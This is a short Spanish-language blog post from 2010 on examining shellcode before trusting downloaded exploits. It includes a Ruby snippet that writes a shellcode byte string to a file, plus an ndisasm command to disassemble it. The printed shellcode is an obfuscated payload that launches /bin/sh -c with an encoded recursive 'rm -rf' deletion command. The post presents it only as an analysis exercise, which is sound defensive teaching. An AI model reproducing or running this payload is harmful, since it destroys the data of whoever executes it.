Wednesday, April 07, 2010

Pago por ver: Qué hace este shellcode ?

Hace unos días le paso algo a un amigo y un post de HD Moore sobre las cosas "ocultas" en los shellcode me hicieron pensar en postear algo al respecto y que sea técnico para que este blog no se muera.
Lo que me terminó de convencer fue que en una lista de gente certificada alguien consulto sobre un error que le aparecia al compilar un exploit que se bajo de exploit-db. Facil : queria compilar un programa en C para MS Windows en Linux.
Dado que este blog no es educativo, solamente me limitare a decir que hay demasiada informacion en Internet sobre exploits, hay que saber programar para usarlos (si no, troyano para adentro o cualquier cosa similar y/o peor).
Asi que dicho eso, para jugar con los exploits y shellcodes se requiere tener skills y experiencia de desarrollador, principalmente en C (pero, no es lo único) y en Assembler.
Si tengo un shellcode entre manos :
1. Lo paso a algo que pueda entender : ensamblador.
2. "des-ensamblo" el codigo para revisar que hace el programa.
3. Puedo generar el binario ejecutable, correrlo en una maquina virtual de scratch y bajo la "supervision" de un trazador (strace por ejemplo).

Los puntos 1 y 2 se pueden hacer con (no son las unicas formas) :
A. Un script donde se pega la porcion del shellcode y se obtiene un binario (no ejecutable, solo objeto) :
#/usr/bin/ruby
myfile = File.new("shellcode.bin", "w")
shellcode = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"+
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"+
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"+
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"+
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"+
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"+
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
myfile.write(shellcode)
myfile.close

B. Luego, a leer el shellcode en ensamblador :
ndisasm -b 32 shellcode.bin

El resto, para un proximo post mientras los que no sabian estas cosas repasan su ensamblador.